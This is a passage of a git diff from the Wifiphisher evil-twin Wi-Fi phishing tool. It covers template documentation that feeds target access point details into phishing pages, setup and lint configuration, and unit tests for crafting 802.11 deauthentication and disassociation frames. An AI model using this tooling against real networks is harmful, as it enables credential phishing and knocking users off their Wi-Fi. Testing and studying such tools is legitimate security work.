``CSS`` or ``Javascript`` files. Dynamic languages (e.g. ``PHP``) are +not supported. + + +Placeholders +^^^^^^^^^^^^^ +The HTML files may also contain some special syntax (think placeholders) describing how dynamic +content will be inserted. The dynamic content may originate from two sources + +Beacon frames +.................. + +Beacon frames contain all the information about the target network and can be used for information +gathering. The main process gathers all the interesting information and passes them to the chosen +template on the runtime. + +At the time of writing, the main process passes the following data + +- ``target_ap_essid`` <``str``>: The ESSID of the target Access Point +- ``target_ap_bssid`` <``str``>: The BSSID (MAC) address of the target Access Point +- ``target_ap_channel`` <``str``>: The channel of the target Access Point +- ``target_ap_vendor`` <``str``>: The vendor's name of the target Access Point +- ``target_ap_logo_path`` <``str``>: The relative path of the target Access Point vendor's logo + in the filesystem +- ``APs_context`` <``list``>: A list containing dictionaries of the Access Points captured during + the AP selection phase +- ``AP`` <``dict``>: A dictionary holding the following information regarding an Access Point + + - ``channel`` <``str``> The channel of the Access Point + - ``essid`` <``str``> The ESSID of the Access Point + - ``bssid`` <``str``> The BSSID (MAC) address of the Access Point + - ``vendor`` <``str``> The vendor's name of the Access Point + +Note that the above values may be 'None' accordingly. For example, all the target_* values will +be None if there user did not target an Access Point (by using --essid option). The +``target_ap_logo_path`` will be None if the logo of the specific vendor does not exist in +the repository. + +``config.ini`` file +..................... +All the variables defined in the `Create the config.ini`_ section may be used from within the +template files. In case of naming conflicts, the variables from the configuration file will +override those coming from the beacon frames. diff --git a/docs/users_guide.rst b/docs/users_guide.rst new file mode 100644 index 0000000..d8adead --- /dev/null +++ b/docs/users_guide.rst @@ -0,0 +1,43 @@ +============= +User's guide +============= + +-------------- +Dependencies +-------------- +Wifiphisher currently has the following dependencies: + +- PyRIC_ +- Blessings_ +- Tornado_ +- Dnsmasq_ +- Hostapd_ + +.. _Hostapd: http://w1.fi/hostapd/ +.. _PyRIC: https://github.com/wraith-wireless/PyRIC +.. _Blessings: https://github.com/erikrose/blessings +.. _Tornado: https://github.com/tornadoweb/tornado +.. _Dnsmasq: http://www.thekelleys.org.uk/dnsmasq/doc.html + +-------------- +Requirements +-------------- +^^^^^^^^^ +Hardware +^^^^^^^^^ + :ref:`Frequently Asked Questions` + +^^^^^^^^^ +Software +^^^^^^^^^ +*********** +Python 2.7 +*********** +-------------------- +Supported Platforms +-------------------- +Currently our only supported platform is Kali_ Linux. However the plan to add android and other +Linux is possible. + + +.. _Kali: https://www.kali.org/ diff --git a/pylintrc b/pylintrc new file mode 100644 index 0000000..8b7e94e --- /dev/null +++ b/pylintrc @@ -0,0 +1,378 @@ +[MASTER] + +# Specify a configuration file. +#rcfile= + +# Python code to execute, usually for sys.path manipulation such as +# pygtk.require(). +#init-hook= + +# Add files or directories to the blacklist. They should be base names, not +# paths. +ignore=CVS + +# Pickle collected data for later comparisons. +persistent=yes + +# List of plugins (as comma separated values of python modules names) to load, +# usually to register additional checkers. +load-plugins= + +# Use multiple processes to speed up Pylint. +jobs=1 + +# Allow loading of arbitrary C extensions. Extensions are imported into the +# active Python interpreter and may run arbitrary code. +unsafe-load-any-extension=no + +# A comma-separated list of package or module names from where C extensions may +# be loaded. Extensions are loading into the active Python interpreter and may +# run arbitrary code +extension-pkg-whitelist= + +# Allow optimization of some AST trees. This will activate a peephole AST +# optimizer, which will apply various small optimizations. For instance, it can +# be used to obtain the result of joining multiple strings with the addition +# operator. Joining a lot of strings can lead to a maximum recursion error in +# Pylint and this flag can prevent that. It has one side effect, the resulting +# AST will be different than the one from reality. +optimize-ast=no + + +[MESSAGES CONTROL] + +# Only show warnings with the listed confidence levels. Leave empty to show +# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED +confidence= + +# Enable the message, report, category or checker with the given id(s). You can +# either give multiple identifier separated by comma (,) or put this option +# multiple time. See also the "--disable" option for examples. +#enable= + +# Disable the message, report, category or checker with the given id(s). You +# can either give multiple identifiers separated by comma (,) or put this +# option multiple times (only on the command line, not in the configuration +# file where it should appear only once).You can also use "--disable=all" to +# disable everything first and then reenable specific checks. For example, if +# you want to run only the similarities checker, you can use "--disable=all +# --enable=similarities". If you want to run only the classes checker, but have +# no Warning level messages displayed, use"--disable=all --enable=classes +# --disable=W" +disable=import-star-module-level,old-octal-literal,oct-method,print-statement,unpacking-in-except,parameter-unpacking,backtick,old-raise-syntax,old-ne-operator,long-suffix,dict-view-method,dict-iter-method,metaclass-assignment,next-method-called,raising-string,indexing-exception,raw_input-builtin,long-builtin,file-builtin,execfile-builtin,coerce-builtin,cmp-builtin,buffer-builtin,basestring-builtin,apply-builtin,filter-builtin-not-iterating,using-cmp-argument,useless-suppression,range-builtin-not-iterating,suppressed-message,no-absolute-import,old-division,cmp-method,reload-builtin,zip-builtin-not-iterating,intern-builtin,unichr-builtin,reduce-builtin,standarderror-builtin,unicode-builtin,xrange-builtin,coerce-method,delslice-method,getslice-method,setslice-method,input-builtin,round-builtin,hex-method,nonzero-method,map-builtin-not-iterating + + +[REPORTS] + +# Set the output format. Available formats are text, parseable, colorized, msvs +# (visual studio) and html. You can also give a reporter class, eg +# mypackage.mymodule.MyReporterClass. +output-format=text + +# Put messages in a separate file for each module / package specified on the +# command line instead of printing them on stdout. Reports (if any) will be +# written in a file name "pylint_global.[txt|html]". +files-output=no + +# Tells whether to display a full report or only the messages +reports=yes + +# Python expression which should return a note less than 10 (10 is the highest +# note). You have access to the variables errors warning, statement which +# respectively contain the number of errors / warnings messages and the total +# number of statements analyzed. This is used by the global evaluation report +# (RP0004). +evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) + +# Template used to display messages. This is a python new-style format string +# used to format the message information. See doc for all details +#msg-template= + + +[SPELLING] + +# Spelling dictionary name. Available dictionaries: none. To make it working +# install python-enchant package. +spelling-dict= + +# List of comma separated words that should not be checked. +spelling-ignore-words= + +# A path to a file that contains private dictionary; one word per line. +spelling-private-dict-file= + +# Tells whether to store unknown words to indicated private dictionary in +# --spelling-private-dict-file option instead of raising a message. +spelling-store-unknown-words=no + + +[MISCELLANEOUS] + +# List of note tags to take in consideration, separated by a comma. +notes=FIXME,XXX,TODO + + +[VARIABLES] + +# Tells whether we should check for unused import in __init__ files. +init-import=yes + +# A regular expression matching the name of dummy variables (i.e. expectedly +# not used). +dummy-variables-rgx=_$|dummy + +# List of additional names supposed to be defined in builtins. Remember that +# you should avoid to define new builtins when possible. +additional-builtins= + +# List of strings which can identify a callback function by name. A callback +# name must start or end with one of those strings. +callbacks=cb_,_cb + + +[FORMAT] + +# Maximum number of characters on a single line. +max-line-length=99 + +# Regexp for a line that is allowed to be longer than the limit. +#ignore-long-lines=^\s*(# )??$ + +# Allow the body of an if to be on the same line as the test if there is no +# else. +single-line-if-stmt=no + +# List of optional constructs for which whitespace checking is disabled. `dict- +# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. +# `trailing-comma` allows a space between comma and closing bracket: (a, ). +# `empty-line` allows space-only lines. +#no-space-check=trailing-comma,dict-separator + +# Maximum number of lines in a module +max-module-lines=1000 + +# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 +# tab). +indent-string=' ' + +# Number of spaces of indent required inside a hanging or continued line. +indent-after-paren=4 + +# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. +expected-line-ending-format= + + +[TYPECHECK] + +# Tells whether missing members accessed in mixin class should be ignored. A +# mixin class is detected if its name ends with "mixin" (case insensitive). +ignore-mixin-members=yes + +# List of module names for which member attributes should not be checked +# (useful for modules/projects where namespaces are manipulated during runtime +# and thus existing member attributes cannot be deduced by static analysis. It +# supports qualified module names, as well as Unix pattern matching. +ignored-modules= + +# List of classes names for which member attributes should not be checked +# (useful for classes with attributes dynamically set). This supports can work +# with qualified names. +ignored-classes= + +# List of members which are set dynamically and missed by pylint inference +# system, and so shouldn't trigger E1101 when accessed. Python regular +# expressions are accepted. +generated-members= + + +[LOGGING] + +# Logging modules to check that the string format arguments are in logging +# function parameter format +logging-modules=logging + + +[SIMILARITIES] + +# Minimum lines number of a similarity. +min-similarity-lines=4 + +# Ignore comments when computing similarities. +ignore-comments=yes + +# Ignore docstrings when computing similarities. +ignore-docstrings=yes + +# Ignore imports when computing similarities. +ignore-imports=no + + +[BASIC] + +# List of builtins function names that should not be used, separated by a comma +bad-functions=map,filter,input + +# Good variable names which should always be accepted, separated by a comma +good-names=_ + +# Bad variable names which should always be refused, separated by a comma +bad-names=foo,bar,baz,toto,tutu,tata + +# Colon-delimited sets of names that determine each other's naming style when +# the name regexes allow several styles. +name-group= + +# Include a hint for the correct naming format with invalid-name +include-naming-hint=yes + +# Regular expression matching correct function names +function-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for function names +function-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression matching correct variable names +variable-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for variable names +variable-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression matching correct constant names +const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ + +# Naming hint for constant names +const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ + +# Regular expression matching correct attribute names +attr-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for attribute names +attr-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression matching correct argument names +argument-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for argument names +argument-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression matching correct class attribute names +class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ + +# Naming hint for class attribute names +class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ + +# Regular expression matching correct inline iteration names +inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ + +# Naming hint for inline iteration names +inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ + +# Regular expression matching correct class names +class-rgx=[A-Z_][a-zA-Z0-9]+$ + +# Naming hint for class names +class-name-hint=[A-Z_][a-zA-Z0-9]+$ + +# Regular expression matching correct module names +module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ + +# Naming hint for module names +module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ + +# Regular expression matching correct method names +method-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for method names +method-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression which should only match function or class names that do +# not require a docstring. +no-docstring-rgx=^_ + +# Minimum line length for functions/classes that require docstrings, shorter +# ones are exempt. +docstring-min-length=-1 + + +[ELIF] + +# Maximum number of nested blocks for function / method body +max-nested-blocks=5 + + +[IMPORTS] + +# Deprecated modules which should not be used, separated by a comma +deprecated-modules=regsub,TERMIOS,Bastion,rexec + +# Create a graph of every (i.e. internal and external) dependencies in the +# given file (report RP0402 must not be disabled) +import-graph= + +# Create a graph of external dependencies in the given file (report RP0402 must +# not be disabled) +ext-import-graph= + +# Create a graph of internal dependencies in the given file (report RP0402 must +# not be disabled) +int-import-graph= + + +[DESIGN] + +# Maximum number of arguments for function / method +max-args=5 + +# Argument names that match this expression will be ignored. Default to name +# with leading underscore +ignored-argument-names=_.* + +# Maximum number of locals for function / method body +max-locals=15 + +# Maximum number of return / yield for function / method body +max-returns=6 + +# Maximum number of branch for function / method body +max-branches=12 + +# Maximum number of statements in function / method body +max-statements=50 + +# Maximum number of parents for a class (see R0901). +max-parents=7 + +# Maximum number of attributes for a class (see R0902). +max-attributes=7 + +# Minimum number of public methods for a class (see R0903). +min-public-methods=2 + +# Maximum number of public methods for a class (see R0904). +max-public-methods=20 + +# Maximum number of boolean expressions in a if statement +max-bool-expr=5 + + +[CLASSES] + +# List of method names used to declare (i.e. assign) instance attributes. +defining-attr-methods=__init__,__new__,setUp + +# List of valid names for the first argument in a class method. +valid-classmethod-first-arg=cls + +# List of valid names for the first argument in a metaclass class method. +valid-metaclass-classmethod-first-arg=mcs + +# List of member names, which should be excluded from the protected access +# warning. +exclude-protected=_asdict,_fields,_replace,_source,_make + + +[EXCEPTIONS] + +# Exceptions that will emit a warning when being caught. Defaults to +# "Exception" +overgeneral-exceptions=Exception diff --git a/setup.py b/setup.py index 03ef2dd..c60d885 100644 --- a/setup.py +++ b/setup.py @@ -1,123 +1,142 @@ #!/usr/bin/env python +""" +This module tries to install all the required software. +""" + +from __future__ import print_function import sys import os -from setuptools import setup, find_packages -from distutils.spawn import find_executable -from wifiphisher.constants import * -setup( -name = "wifiphisher", -author = "sophron", -author_email = "sophron@latthi.com", -description = ("Automated phishing attacks against Wi-Fi networks"), -license = "GPL", -keywords = ['wifiphisher', 'evil', 'twin', 'phishing'], -packages = find_packages(), -include_package_data = True, -version = "1.1", -entry_points = { -'console_scripts': [ -'wifiphisher = wifiphisher.pywifiphisher:run' -] -}, -install_requires = [ -'PyRIC', -'jinja2'] -) +from ctypes.util import find_library +from setuptools import setup, find_packages, Command +import wifiphisher.common.constants as constants + + +class CleanCommand(Command): + """Custom clean command to tidy up the project root.""" + user_options = [] + def initialize_options(self): + pass + def finalize_options(self): + pass + def run(self): + os.system('rm -vrf ./build ./dist ./*.pyc ./*.tgz ./*.egg-info') def get_dnsmasq(): - if not os.path.isfile('/usr/sbin/dnsmasq'): - install = raw_input( - ('[' + T + '*' + W + '] dnsmasq not found ' + - 'in /usr/bin/dnsmasq, install now? [y/n] ') - ) - if install == 'y': - if os.path.isfile('/usr/bin/pacman'): - os.system('pacman -S dnsmasq') - elif os.path.isfile('/usr/bin/yum'): - os.system('yum install dnsmasq') + """ + Try to install dnsmasq on host machine if not present + + :return: None + :rtype: None + """ + + if not os.path.isfile("/usr/sbin/dnsmasq"): + install = raw_input(("[" + constants.T + "*" + constants.W + "] dnsmasq not found " + + "in /usr/sbin/dnsmasq, " + "install now? [y/n] ")) + + if install == "y": + if os.path.isfile("/usr/bin/pacman"): + os.system("pacman -S dnsmasq") + elif os.path.isfile("/usr/bin/yum"): + os.system("yum install dnsmasq") else: - os.system('apt-get -y install dnsmasq') + os.system("apt-get -y install dnsmasq") else: - sys.exit(('[' + R + '-' + W + '] dnsmasq' + - ' not found in /usr/sbin/dnsmasq')) - if not os.path.isfile('/usr/sbin/dnsmasq'): - sys.exit(( - '\n[' + R + '-' + W + '] Unable to install the \'dnsmasq\' package!\n' + - '[' + T + '*' + W + '] This process requires a persistent internet connection!\n' + - 'Please follow the link below to configure your sources.list\n' + - B + 'http://docs.kali.org/general-use/kali-linux-sources-list-repositories\n' + W + - '[' + G + '+' + W + '] Run apt-get update for changes to take effect.\n' + - '[' + G + '+' + W + '] Rerun the script to install dnsmasq.\n' + - '[' + R + '!' + W + '] Closing' - )) + sys.exit(("[" + constants.R + "-" + constants.W + "] dnsmasq " + + "not found in /usr/sbin/dnsmasq")) + + if not os.path.isfile("/usr/sbin/dnsmasq"): + dnsmasq_message = ("\n[" + constants.R + "-" + constants.W + + "] Unable to install the \'dnsmasq\' package!\n" + "[" + constants.T + + "*" + constants.W + "] This process requires a persistent internet " + + "connection!\nPlease follow the link below to configure your " + + "sources.list\n" + constants.B + "http://docs.kali.org/general-use/" + + "kali-linux-sources-list-repositories\n" + constants.W + "[" + + constants.G + "+" + constants.W + "] Run apt-get update for changes " + + "to take effect.\n" + "[" + constants.G + "+" + constants.W + "] " + + "Rerun the script to install dnsmasq.\n[" + constants.R + "!" + + constants.W + "] Closing") + + sys.exit(dnsmasq_message) + def get_hostapd(): - if not os.path.isfile('/usr/sbin/hostapd'): - install = raw_input( - ('[' + T + '*' + W + '] hostapd not found ' + - 'in /usr/sbin/hostapd, install now? [y/n] ') - ) - if install == 'y': - if os.path.isfile('/usr/bin/pacman'): - os.system('pacman -S hostapd') - elif os.path.isfile('/usr/bin/yum'): - os.system('yum install hostapd') - else: - os.system('apt-get -y install hostapd') - else: - sys.exit(('[' + R + '-' + W + '] hostapd' + - ' not found in /usr/sbin/hostapd')) - if not os.path.isfile('/usr/sbin/hostapd'): - sys.exit(( - '\n[' + R + '-' + W + '] Unable to install the \'hostapd\' package!\n' + - '[' + T + '*' + W + '] This process requires a persistent internet connection!\n' + - 'Please follow the link below to configure your sources.list\n' + - B + 'http://docs.kali.org/general-use/kali-linux-sources-list-repositories\n' + W + - '[' + G + '+' + W + '] Run apt-get update for changes to take effect.\n' + - '[' + G + '+' + W + '] Rerun the script to install hostapd.\n' + - '[' + R + '!' + W + '] Closing' - )) - -def get_ifconfig(): - # This is only useful for Arch Linux which does not contain ifconfig by default - if not find_executable('ifconfig'): - install = raw_input( - ('[' + T + '*' + W + '] ifconfig not found. ' + - 'install now? [y/n] ') - ) - if install == 'y': - if os.path.isfile('/usr/bin/pacman'): - os.system('pacman -S net-tools') + """ + Try to install hostapd on host system if not present + + :return: None + :rtype: None + """ + + if not os.path.isfile("/usr/sbin/hostapd"): + install = raw_input(("[" + constants.T + "*" + constants.W + "] hostapd not found in " + + "/usr/sbin/hostapd, install now? [y/n] ")) + + if install == "y": + if os.path.isfile("/usr/bin/pacman"): + os.system("pacman -S hostapd") + elif os.path.isfile("/usr/bin/yum"): + os.system("yum install hostapd") else: - sys.exit(( - '\n[' + R + '-' + W + '] Don\'t know how to install ifconfig for your distribution.\n' + - '[' + G + '+' + W + '] Rerun the script after installing it manually.\n' + - '[' + R + '!' + W + '] Closing' - )) + os.system("apt-get -y install hostapd") else: - sys.exit(('[' + R + '-' + W + '] ifconfig' + - ' not found')) - if not find_executable('ifconfig'): - sys.exit(( - '\n[' + R + '-' + W + '] Unable to install the \'net-tools\' package!\n' + - '[' + T + '*' + W + '] This process requires a persistent internet connection!\n' + - '[' + G + '+' + W + '] Run pacman -Syu to make sure you are up to date first.\n' + - '[' + G + '+' + W + '] Rerun the script to install net-tools.\n' + - '[' + R + '!' + W + '] Closing' - )) - -# Get hostapd, dnsmasq or ifconfig if needed + sys.exit(("[" + constants.R + "-" + constants.W + "] hostapd not found in " + + "/usr/sbin/hostapd")) + + if not os.path.isfile("/usr/sbin/hostapd"): + hostapd_message = ("\n[" + constants.R + "-" + constants.W + "] Unable to install the " + + "\'hostapd\' package!\n[" + constants.T + "*" + constants.W + "] " + + "This process requires a persistent internet connection!\nPlease " + + "follow the link below to configure your sources.list\n" + constants.B + + "http://docs.kali.org/general-use/kali-linux-sources-list-" + + "repositories\n" + constants.W + "[" + constants.G + "+" + constants.W + + "] Run apt-get update for changes to take effect.\n[" + constants.G + + "+" + constants.W + "] Rerun the script to install hostapd.\n[" + + constants.R + "!" + constants.W + "] Closing") + + sys.exit(hostapd_message) + + +# setup settings +NAME = "wifiphisher" +AUTHOR = "sophron" +AUTHOR_EMAIL = "sophron@latthi.com" +URL = "https://github.com/wifiphisher/wifiphisher" +DESCRIPTION = "Automated phishing attacks against Wi-Fi networks" +LICENSE = "GPL" +KEYWORDS = ["wifiphisher", "evil", "twin", "phishing"] +PACKAGES = find_packages(exclude=["docs", "tests"]) +INCLUDE_PACKAGE_DATA = True +VERSION = "1.4" +CLASSIFIERS = ["Development Status :: 5 - Production/Stable", + "License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)", + "Natural Language :: English", "Operating System :: Unix", + "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", + "Programming Language :: Python :: 2 :: Only", "Topic :: Security", + "Topic :: System :: Networking", "Intended Audience :: End Users/Desktop", + "Intended Audience :: System Administrators", + "Intended Audience :: Information Technology"] +ENTRY_POINTS = {"console_scripts": ["wifiphisher = wifiphisher.pywifiphisher:run"]} +INSTALL_REQUIRES = ["PyRIC", "tornado", "dbus-python", + "pbkdf2", "roguehostapd", "scapy"] +CMDCLASS = {"clean": CleanCommand,} + +# run setup +setup(name=NAME, author=AUTHOR, author_email=AUTHOR_EMAIL, description=DESCRIPTION, + license=LICENSE, keywords=KEYWORDS, packages=PACKAGES, + include_package_data=INCLUDE_PACKAGE_DATA, version=VERSION, entry_points=ENTRY_POINTS, + install_requires=INSTALL_REQUIRES, classifiers=CLASSIFIERS, url=URL, cmdclass=CMDCLASS) + +# Get hostapd or dnsmasq if needed get_hostapd() get_dnsmasq() -get_ifconfig() - -print -print " _ __ _ _ _ _ " -print " (_)/ _(_) | | (_) | | " -print " ((.)) __ ___| |_ _ _ __ | |__ _ ___| |__ ___ _ __ " -print " | \ \ /\ / / | _| | '_ \| '_ \| / __| '_ \ / _ \ '__|" -print " /_\ \ V V /| | | | | |_) | | | | \__ \ | | | __/ | " -print " /___\ \_/\_/ |_|_| |_| .__/|_| |_|_|___/_| |_|\___|_| " -print " / \ | | " -print " |_| " -print " " + +print() +print(" _ __ _ _ _ _ ") +print(" (_)/ _(_) | | (_) | | ") +print(" ((.)) __ ___| |_ _ _ __ | |__ _ ___| |__ ___ _ __ ") +print(r" | \ \ /\ / / | _| | '_ \| '_ \| / __| '_ \ / _ \ '__|") +print(r" /_\ \ V V /| | | | | |_) | | | | \__ \ | | | __/ | ") +print(r" /___\ \_/\_/ |_|_| |_| .__/|_| |_|_|___/_| |_|\___|_| ") +print(r" / \ | | ") +print(" |_| ") +print(" ") diff --git a/tests/__init__.py b/tests/__init__.py index e69de29..8d1c8b6 100644 --- a/tests/__init__.py +++ b/tests/__init__.py @@ -0,0 +1 @@ + diff --git a/tests/test_deauth.py b/tests/test_deauth.py new file mode 100644 index 0000000..2e3e88b --- /dev/null +++ b/tests/test_deauth.py @@ -0,0 +1,856 @@ +# pylint: skip-file +""" This module tests the deauth module in extensions """ +import collections +from collections import defaultdict +import unittest +import mock +import scapy.layers.dot11 as dot11 +import wifiphisher.extensions.deauth as deauth +import wifiphisher.common.constants as constants + + +class TestDeauth(unittest.TestCase): + """ Tests Deauth class """ + + def setUp(self): + """ Set up the tests """ + + essid = dot11.Dot11Elt(ID='SSID', info="") + rates = dot11.Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60") + dsset = dot11.Dot11Elt(ID='DSset', info='\x06') + self.packet = dot11.RadioTap() / dot11.Dot11() / essid / rates / dsset + + custom_tuple = collections.namedtuple("test", + ("target_ap_bssid target_ap_channel rogue_ap_mac args " + "target_ap_essid is_freq_hop_allowed")) + + self.target_channel = "6" + self.target_bssid = "BB:BB:BB:BB:BB:BB" + self.rogue_mac = "CC:CC:CC:CC:CC:CC" + self.target_essid = "Evil" + self.args = mock.Mock() + self.args.deauth_essid = False + self.args.channel_monitor = False + + data0 = custom_tuple(self.target_bssid, self.target_channel, self.rogue_mac, + self.args, self.target_essid, True) + data1 = custom_tuple(None, self.target_channel, self.rogue_mac, + self.args, self.target_essid, True) + + self.deauth_obj0 = deauth.Deauth(data0) + self.deauth_obj1 = deauth.Deauth(data1) + + # test for --deauth-essid + self.deauth_obj0._deauth_bssids = dict() + self.deauth_obj1._deauth_bssids = dict() + + def test_craft_packet_normal_expected(self): + """ + Test _craft_packet method when given all the normal arguments and + expecting normal results + """ + + sender = "00:00:00:00:00:00" + receiver = "11:11:11:11:11:11" + bssid = "00:00:00:00:00:00" + + result = self.deauth_obj0._craft_packet(sender, receiver, bssid) + message0 = "Failed to craft a packet for disassociation" + message1 = "Failed to craft a packet for deauthentication" + # check the disassociation packet + self.assertEqual(result[0].addr1, receiver, message0) + self.assertEqual(result[0].addr2, sender, message0) + self.assertEqual(result[0].addr3, bssid, message0) + + # check the deauthentication packet + self.assertEqual(result[1].addr1, receiver, message1) + self.assertEqual(result[1].addr2, sender, message1) + self.assertEqual(result[1].addr3, bssid, message1) + + def test_get_packet_broadcast(self): + """ + Test get_packet method for crafting the broadcast frame + """ + + # setup the packet + sender = "00:00:00:00:00:00" + receiver = "11:11:11:11:11:11" + essid = dot11.Dot11Elt(ID='SSID', info="") + rates = dot11.Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60") + dsset = dot11.Dot11Elt(ID='DSset', info='\x06') + packet = dot11.RadioTap() / dot11.Dot11() / dot11.Dot11Beacon() / essid / rates / dsset + + packet.addr1 = receiver + packet.addr2 = sender + packet.addr3 = self.target_bssid + packet.FCfield = 0x0 + + # run the method + pkts_to_send = self.deauth_obj0.get_packet(packet) + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel: target channel should be one key of + # the result + self.assertEqual(self.target_channel in pkts_to_send, True, + message0) + + # check the packets + # check the disassoction packet + result = pkts_to_send[self.target_channel] + self.assertEqual(result[0].subtype, 10, message1) + self.assertEqual(result[0].addr1, constants.WIFI_BROADCAST, message1) + self.assertEqual(result[0].addr2, self.target_bssid, message1) + self.assertEqual(result[0].addr3, self.target_bssid, message1) + + # check the deauthentication packet + self.assertEqual(result[1].subtype, 12, message1) + self.assertEqual(result[1].addr1, constants.WIFI_BROADCAST, message1) + self.assertEqual(result[1].addr2, self.target_bssid, message1) + self.assertEqual(result[1].addr3, self.target_bssid, message1) + + def test_get_packet_second_run_non_releavent_client_empty(self): + """ + Test get_packet method for the second time when given a packet which + is not related to the target access point and --essid is not used. + The expected result are an channel list containing target channel and + an empty packet list + """ + + # setup the packets + sender0 = "00:00:00:00:00:00" + receiver0 = "11:11:11:11:11:11" + bssid0 = "22:22:22:22:22:22:22" + + sender1 = "33:33:33:33:33:33" + receiver1 = "44:44:44:44:44:44" + bssid1 = "55:55:55:55:55:55" + + self.packet.addr1 = receiver0 + self.packet.addr2 = sender0 + self.packet.addr3 = bssid0 + + # run the method twice + self.deauth_obj0.get_packet(self.packet) + + # change the values for the next run + self.packet.addr1 = receiver1 + self.packet.addr2 = sender1 + self.packet.addr3 = bssid1 + + result = self.deauth_obj0.get_packet(self.packet) + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + # if the bssid is not in self._deauth_bssids, return empty channel + self.assertEqual(result[0], [], message0) + + # check the packets + self.assertEqual(result[1], [], message1) + + def test_get_packet_second_run_our_ap_empty(self): + """ + Test get_packet method for the second time when given a packet which + is from our own rouge ap to the target access point and --essid is + not used. The expected result are an channel list containing target + channel and an empty packet list + """ + + # setup the packets + sender0 = "00:00:00:00:00:00" + receiver0 = "11:11:11:11:11:11" + bssid0 = "22:22:22:22:22:22:22" + + sender1 = "33:33:33:33:33:33" + receiver1 = "44:44:44:44:44:44" + bssid1 = self.rogue_mac + + self.packet.addr1 = receiver0 + self.packet.addr2 = sender0 + self.packet.addr3 = bssid0 + + # run the method twice + self.deauth_obj0.get_packet(self.packet) + + # change the values for the next run + self.packet.addr1 = receiver1 + self.packet.addr2 = sender1 + self.packet.addr3 = bssid1 + + result = self.deauth_obj0.get_packet(self.packet) + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + # return empty channel if the frame is invalid + self.assertEqual(result[0], [], message0) + + # check the packets + self.assertEqual(result[1], [], message1) + + def test_get_packet_multiple_clients_multiple_packets(self): + """ + Test get_packet method when run multiple times with valid cleints. + --essid is not used. The expected result are the channel of the + target AP followed by the broadcast packet for the target AP and + all the client packets + """ + + # setup the packet + sender0 = self.target_bssid + receiver0 = "11:11:11:11:11:11" + bssid0 = self.target_bssid + + sender1 = "33:33:33:33:33:33" + receiver1 = self.target_bssid + bssid1 = self.target_bssid + + self.packet.addr1 = receiver0 + self.packet.addr2 = sender0 + self.packet.addr3 = bssid0 + + # add target_bssid in the self._deauth_bssids + self.deauth_obj0._deauth_bssids[self.target_bssid] = self.target_channel + + # run the method + pkts_to_send0 = self.deauth_obj0.get_packet(self.packet) + result0 = pkts_to_send0[self.target_channel] + + # change the values for the next run + self.packet.addr1 = receiver1 + self.packet.addr2 = sender1 + self.packet.addr3 = bssid1 + + # result1 will accumulate the result from result 0 + pkts_to_send1 = self.deauth_obj0.get_packet(self.packet) + result1 = pkts_to_send1[self.target_channel] + + message0 = "Failed to return an correct channel" + message1 = "Failed to return an correct packets" + + # check channel + self.assertEqual(self.target_channel in pkts_to_send0, True, + message0) + + # check the packets for the first client + # check the disassociation packet + self.assertEqual(result0[0].subtype, 10, message1) + self.assertEqual(result0[0].addr1, self.target_bssid, message1) + self.assertEqual(result0[0].addr2, receiver0, message1) + self.assertEqual(result0[0].addr3, self.target_bssid, message1) + + # check the deauthentication packet + self.assertEqual(result0[1].subtype, 12, message1) + self.assertEqual(result0[1].addr1, self.target_bssid, message1) + self.assertEqual(result0[1].addr2, receiver0, message1) + self.assertEqual(result0[1].addr3, self.target_bssid, message1) + + # check the disassociation packet + self.assertEqual(result0[2].subtype, 10, message1) + self.assertEqual(result0[2].addr1, receiver0, message1) + self.assertEqual(result0[2].addr2, self.target_bssid, message1) + self.assertEqual(result0[2].addr3, self.target_bssid, message1) + + # check the deauthentication packet + self.assertEqual(result0[3].subtype, 12, message1) + self.assertEqual(result0[3].addr1, receiver0, message1) + self.assertEqual(result0[3].addr2, self.target_bssid, message1) + self.assertEqual(result0[3].addr3, self.target_bssid, message1) + + # check the packets for the second client + # check the disassociation packet + self.assertEqual(result1[4].subtype, 10, message1) + self.assertEqual(result1[4].addr1, sender1, message1) + self.assertEqual(result1[4].addr2, self.target_bssid, message1) + self.assertEqual(result1[4].addr3, self.target_bssid, message1) + + # check the deauthentication packet + self.assertEqual(result1[5].subtype, 12, message1) + self.assertEqual(result1[5].addr1, sender1, message1) + self.assertEqual(result1[5].addr2, self.target_bssid, message1) + self.assertEqual(result1[5].addr3, self.target_bssid, message1) + + # check the disassociation packet + self.assertEqual(result1[6].subtype, 10, message1) + self.assertEqual(result1[6].addr1, self.target_bssid, message1) + self.assertEqual(result1[6].addr2, sender1, message1) + self.assertEqual(result1[6].addr3, self.target_bssid, message1) + + # check the deauthentication packet + self.assertEqual(result1[7].subtype, 12, message1) + self.assertEqual(result1[7].addr1, self.target_bssid, message1) + 